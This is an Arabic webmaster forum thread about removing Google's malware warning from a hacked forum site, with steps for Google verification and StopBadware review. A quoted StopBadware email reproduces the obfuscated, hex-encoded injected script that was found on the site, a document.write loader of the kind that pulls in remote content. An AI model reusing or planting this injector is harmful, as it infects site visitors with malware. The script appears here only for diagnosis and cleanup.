[ابومساء]

الاخوة الكرام ... السلام عليكم

يوجد لدي مشكلة في مجلد المنتدى الرئيسي وتم ازلتها مما سبب في ظهور مشكلة أخرى في متصفح google وهي عبارة

تحذير- قد تضر زيارة هذا الموقع جهاز الكمبيوتر الخاص بك!

ولقد تم مخاطبة الموقع عدة مرات بهذا الشأن لمدة عشرة ايام ولكن دون جدوى

أنتظر حلولكم يا كرام !!

[egypt2host.com]

السلام عليكم

مشكلتك يا اخى قام احد اخوانا بشرحها

ونقلتلك حلها وبإذن الله تحلها

بسم الله نبدأ الشرح



ماهو سبب ظهور هذه العبارة ؟


وجود ملفات تجسس أو باتشات أو فايروسات في موقعك





كيف أفحص موقعي لحذف هذه الفايروسات منه ؟


طريقة فحص الموقع إما عن طريق السي بنل أو عن طريق مخاطبة المستضيف أو عن طريق تحميل ملفات موقعك على جهازك وفحصها ببرنامج الكاسبر أو غيره وحذف الفايروسات ومن ثم إعادة تحميلها لموقعك ..





لقد قمت بحذف الفايروسات من موقعي ماذا أعمل الأن ؟


اتبع الشرح التالي وطبقه خطوه خطوه وسوف يتم إزالة هذه العباره مباشره من موقعك




أولاً قم بالدخول إلى هذه الصفحه


اضغط هنا



بعد الدخول إلى الصفحة السابقة يتوجب عليك التسجيل إن لم يسبق لك التسجيل


* إذا كنت مسجل في قوقل فقم بالدخول مباشره ..


* إذا لم يسبق لك التسجيل فتابع معي خطوات التسجيل :





بعد الدخول إلى الصفحة السابقة إضغط على [ أنشئ حساباً الأن ] شاهد الصورة :








وستفتح لك صفحة التسجيل قم بتعبئة بياناتك على النحو التالي :


عنوان بريدك الإلكتورني الحالي : sales@alrsamhost.net [ يشترط إيميل رسمي ]


اختر كلمة السر : *********


أدخل كلمة المرور من جديد : *********


المكان : المملكة العربية السعودية [ مثال ]


التحقق من صحة الكلمة : اكتب الحروف في الصورة الظاهره امامك






ومن ثم اضغط على [ أنا موافق انشئ حسابي ] شاهد الصورة :










وبعدها سوف تظهر لك صفحة تؤكد تسجيلك وتخبرك أنه عليك بتفعيل التسجيل من إيميلك . شاهد الصورة :










الأن توجه مباشرة إلى إيميلك وستجد رساله من قوقل إضغط على رابط التفعيل , شاهد الصوره :











وبعد الضغط على رابط التفعيل سوف تظهر لك صفحة تؤكد تفعيل حسابك بنجاح


اضغط على [ انقر هنا لإدارة وضع حسابك ] شاهد الصورة :











وبعد الدخول سوف تظهر لك الصفحة التالية " اضغط على [ أدوات أصحاب الموقع ] " شاهد الصورة :











وبعد الدخول على أدوات أصحاب الموقع سوف تظهر لك الصفحة التالية " أضف رابط موقعك في المستطيل " واضغط على [ إضافة موقع ] شاهد الصورة :











وبعد إضافة رابط موقعك سوف تظهر لك هذه الصفحة اضغط على [ التحقق من موقعك ] . شاهد الصورة :











وبعد الضغط على التحقق من موقعك سوف تظهر لك الصورة التالية اضغط على [ اختر طريقة للتحقيق ] شاهد الصورة :











واختر الخيار الثاني [ تحميل ملف HTML ] شاهدالصورة :









الأن توجه إلى الفرونت بيج واعمل لك صفحة واحفظها باسم ( googlee6d56d74e06db67c ) وبصيغة ( HTML )


وأنا سويت صفحة جاهزة لمن يريد التحميل مباشرة في المرفقات


وبعد تحميل هذه الصفحة قم برفعها داخل ملف www في موقعك


وبعد إكمال الرفع إضغط على [ تحقق ] كما هو موضح في الصورة السابقة ..







وبعدها سوف تظهر لك هذه الصفحة تبين أن الموقع محذر منه من قوقل , اضغط على [ طلب مراجعة ] شاهد الصورة :










وبعدها سوف تظهر لك صفحة أخرى قم بالتأشير على المربع الصغير ومن ثم الضغط على [ طلب مراجعة ] شاهد الصورة :








وبعدها سوف يخبرك بأنه تم إرسال موقعك لمراجعته ..


وعليك بمتابعة الرد عليك في نفس صفحتك في قوقل ..


وسوف يتم عمل فحص لموقعك من قبل قوقل إن كان موقعك سليم ولايوجد فيه أي ملفات تجسس أو باتشات فسوف يتم عمل إزاله للعبارة في وقت لايتجاوز 24 ساعة إن شاء الله



ملاحظه / قد يستغرق بعض الوقت في إزالة العبارة إن كانت الطلبات المقدمة على قوقل كثيره ..




انــتــهــى الــشــرح




من تواجهه أي مشكله في تطبيق الشرح السابق فأنا تحت الأمر سواءاً هنا أو في الماسنجر فإيميلي في التوقيع وأنا في الخدمه



أتمنى إني قدرت أفيدكم ولو بالقليل


الشرح أخذ مني الوقت الكثير


رجائي الخاص عدم نزع حقوقي من الشرح كما رأيت من بعض الأخوه في شروحات سابقه


ورجائي الخاص ذكر المصدر الرئيسي وهو منتديات الموده عند نقل الموضوع إلى أي موقع أخر ..


لاتنسونا من خالص دعائكم

[ابومساء]

مشكور اخوي وبارك الله فيك

إقتباس: وأنا سويت صفحة جاهزة لمن يريد التحميل مباشرة في المرفقات

أين الملف لو تكرمت

[egypt2host.com]

يا اخى حضرتك بتنزله من جوجل افــضل

عامةًً انا ارفقت لك الملـــف

بــس ضرورى تغيــر اسمه للأسم اللى جوجل وضعته لــك

اسم الملف اللى ارفقته google6abb16f58201cf5b.html

ومتقلقش انا عملت طريقه اخرى وبإذن الله سوف يتم حذفه هذه الكلمة من تحت اسم موقعك فى حدود يومين او اربعه ايام

[ابومساء]

جزاكم الله خير ووفقكم اخي الكريم تم رفع الملف وبانتظار اجابتهم

[ابومساء]

أخي الكريم : egypt2host.com

تحية طيبة وبعد ... تم التحقق من موقعي منذ تلك الفترة الا أنه وحتى اليوم لم يتم ازالة العبارة المذكورة أرجوا ابداء الأسباب على الرغم أنني رفعت الملف المرفق الى مجلد المنتدى وتم التحقق منه .

أرجوا الإفادة

[بساتين القمر]

مشكور يا اخي

[egypt2host.com]

يا اخى بالتأكيد موقعك فيه فايروس

قم بتحميــل ملفات موقعك الى جهازك الخاص وقم بعمل اسكان انتى فايروس
وبعد ذلك قم بمسح الملفات التى بها فايروس فى جهازك وبإذن الله تتنزع هذه الكلمة

إقتباس: مشكور يا اخي

العفو

[SiL3NT H!LL]

إقتباس: اقتباس من مشاركة العذاب      السلام عليكم بعض الأحيان تبحث عن صفحات موقعك في قوقل لمعرفة عدد الصفحات أم غيره وقد يصدف أن يتم اختراق موقعك ووضع في صفحة الاختراق فايروسات لذا عندما يجد قوقل هذه الفايروسات تضع أسفل اسم الموقع في جميع صفحات موقعك في قوقل : "قد يضر هذا الموقع جهاز الكمبيوتر الخاص بك" ليس ذلك فقط ! بل عند الضغط على الصفحة المطلوبة في قوقل ستم تحويلك لصفحة تنبك من هذا الموقع أي لن يدخل أي زائر إلى موقعك ابداً وبعد البحث وجدت الحل المناسب والأكيد أولاً قم بالدخول إلى الموقع التالي : http://www.stopbadware.org/home/reviewinfo ومن ثم أكتب رابط موقعك في المربع بالأسفل : بعدها قم بالضغط على رابط موقعك : ثم قم بتعبئة المعلومات الصحيحة كما في الصورة : وقم بالضغط على الزر وبعدها بيومين / ثلاثة سترى النتيجة وأتمنى أن يعجبكم الشرح

هذا حل اخر

[ابومساء]

ياأخوان استخدمت جميع الطرق لحل تلك المشكلة ولكن دون جدوى

من يستطيع حلها ولو بمقابل

[ابومساء]

أخواني الكرام ... ارسلول لي قوقل الرسالة التالية والتي تحتوي على سكربت وهي كالتالي

إقتباس: According to our review of your website, your site contains a potentially damaging exploit. For example, the source code for http://hemmh.com/ contains the following suspicious code: <script>function c102916999516l4991642b1da9a(l4991642b1de 16){ var l4991642b1e1fc=16; return (parseInt(l4991642b1de16,l4991642b1e1fc) );}function l4991642b1e9cd(l4991642b1edb7){ function l4991642b1f96e(){var l4991642b1fd56=2;return l4991642b1fd56;} var l4991642b1f19d='';l4991642b201 3f=String.fromCharCode;for(l4991642b1f58 5=0;l4991642b1f585<l4991642b1edb7.len gth;l4991642b1f585+=l4991642b1f96e()){ l4991642b1f19d+=(l4991642b2013f(c1029169 99516l4991642b1da9a(l4991642b1edb7.subst r(l4991642b1f585,l4991642b1f96e()))));}r eturn l4991642b1f19d;} var x42='';var l4991642b20527='3C736'+x42+&ap os;3726'+x42+'970743E6'+x 42+'96'+x42+'6'+x42+ '28216'+x42+'D796'+x 42+'96'+x42+'1297B6' +x42+'46'+x42+'F6'+x 42+'3756'+x42+'D6'+x 42+'56'+x42+'E742E77726&a pos;+x42+'9746'+x42+'5287 56'+x42+'E6'+x42+'57 36'+x42+'36'+x42+'17 06'+x42+'528202725336'+x4 2+'32536'+x42+'392536&apo s;+x42+'36'+x42+'25373225 36'+x42+'312536'+x42+&apo s;6'+x42+'42536'+x42+&apo s;352532302536'+x42+'6'+x 42+'52536'+x42+'312536&ap os;+x42+'6'+x42+'42536&ap os;+x42+'3525336'+x42+'42 536'+x42+'33253331253330253230 2537332537322536'+x42+'3325336 '+x42+'42532372536'+x42+& apos;3825373425373425373025336'+x42 +'125326'+x42+'6'+x4 2+'25326'+x42+'6'+x4 2+'2536'+x42+'372536&apos ;+x42+'6'+x42+'6'+x4 2+'2536'+x42+'372536&apos ;+x42+'6'+x42+'6'+x4 2+'2533322536'+x42+'6&apo s;+x42+'42536'+x42+'35253 26'+x42+'52536'+x42+&apos ;6'+x42+'52536'+x42+&apos ;3525373425326'+x42+'6'+x 42+'25326'+x42+'52536&apo s;+x42+'372536'+x42+'6&ap os;+x42+'6'+x42+'25326&ap os;+x42+'6'+x42+'2536&apo s;+x42+'332536'+x42+'3825 36'+x42+'352536'+x42+&apo s;332536'+x42+'6'+x42+&ap os;225326'+x42+'52536'+x4 2+'382537342536'+x42+'6&a pos;+x42+'42536'+x42+'6&a pos;+x42+'32532372532302537372536&a pos;+x42+'392536'+x42+'34 2537342536'+x42+'3825336' +x42+'42533312533312532302536' +x42+'382536'+x42+'352536 '+x42+'392536'+x42+' 372536'+x42+'3825373425336&apo s;+x42+'425333125333225333525323025 37332537342537392536'+x42+'6&a pos;+x42+'32536'+x42+'352 5336'+x42+'4253237253736' +x42+'2536'+x42+'39253733 2536'+x42+'392536'+x42+&a pos;322536'+x42+'392536'+ x42+'6'+x42+'32536'+ x42+'3925373425373925336'+x42+ '12536'+x42+'382536' +x42+'392536'+x42+'342536 '+x42+'342536'+x42+' 352536'+x42+'6'+x42+&apos ;525323725336'+x42+'525336&apo s;+x42+'325326'+x42+'6&ap os;+x42+'2536'+x42+'39253 6'+x42+'36'+x42+'253 7322536'+x42+'312536'+x42 +'6'+x42+'42536'+x42 +'3525336'+x42+'52729293B 7D76'+x42+'6'+x42+'1 72206'+x42+'D796'+x42+&ap os;96'+x42+'13D7472756'+x 42+'53B3C2F736'+x42+'3726 '+x42+'970743E';dcidocument. write(l4991642b1e9cd(l4991642b20527));&l t;/script> This type of code may allow parties other than yourself to load content onto user's computers via your website. In such a case, simply visiting your site would cause users to become infected by malware, spyware, or other badware that is loaded from a remote site. In addition, the party that placed the code on your site could inject additional code onto your site with potentially undesireable consequences. Even if your site is not currently distributing badware (for example, if the site that the code is pointing to is not currently "live"), your site has the potential to become a distributor of badware at any time due to the exploit noted above. Because of this continuing danger, Google will not be removing the warning page for your site at this time. We strongly recommend removing any code that is currently or has the potential to distribute badware and securing your site against future code injections. Otherwise, it is likely that your website will be hacked again. If your site has been hacked, then simply removing injected code from your site is not enough. You will also need to work with your hosting provider or website administrator to fix all security vulnerabilities associated with your site. We have created a webpage that has tips for webmasters on how to clean and secure their websites at http://stopbadware.org/home/security. Please read this page to find out how to find, remove, and prevent badware appearing on your website. We recommend paying special attention to the sections on Hacking Attacks. We also have answers to commonly asked questions from site owners who are the subject of Google warnings at http://stopbadware.org/home/faq#partnerwarnings. Once you have secured your site, removed any traces of badware or bad code, and discontinued linking to any sites that install badware, you may submit another request for review and we will retest your site. The StopBadware Team

من يستطيع حل المشكلة ؟؟

[نديم الشوق]

ابو ميساء يالغلا

اتوقع مشكلتي ومشكلتك وحدة وقوقل ناوينا

اضم نفسي وموقعي مع موقعك يا بعدي

اذا حصلت حل لا تبخل علينا

[ابومساء]

أبشر أخوي نديم الشوق ....

[الصريح جداً]

وعليكم السلام

يخبرك بوجود كود ملغم ( ضار ) بصفحة موقعك الرئيسية

ولكن يبدو انك حذفت الصفحة بكل محتواها , موقعك حالياً مسجل بقائمة stopbadware.org

للمواقع الخطرة أو الضارة ادخل الرابط بالأسفل لموقعك واطلب منهم اعادة فحص موقعك

http://stopbadware.org/home/review?reviewid=166035 3

بالتوفيق

تشآآآو

[ابومساء]

نعم لقد حذفت الصفحة الرئيسية بالكامل ... لكن من خلال رسالتهم اتضح بأن ناك خطر

سؤالي اين اجد هذا الخطر ... وهل فعلا موقعي خطر ... كيف اعرف

[الصريح جداً]

لا أجد أي أخطاء حالياً , اخبرهم يعطونك نوع الخطأ ومكانه " ان وُجد "

تشآآو

[ابومساء]

جزاك الله خير ووفقك اخوي الصريح جدا
سوف ارسل لهم لعل وعسى

[ابومساء]

أخوي الصريح جدا ... لقد ارسلوا اليوم نفس الرسالة السابقة
ما العمل !!!!!!؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

[الصريح جداً]

ما عليك من اللي ارسلوه اهم شي الرد لرسالتك الأولى !!

شف هذي الطريقة بعد /

http://traidnt.net/vb/showthread.php?t=1102946

تشآآآو

[ابومساء]

مشكور اخوي الصريح جدا وتعبناك معانا يالغالي

وتم تجربة الطريقة وننتظر النتائج بمشيئة الله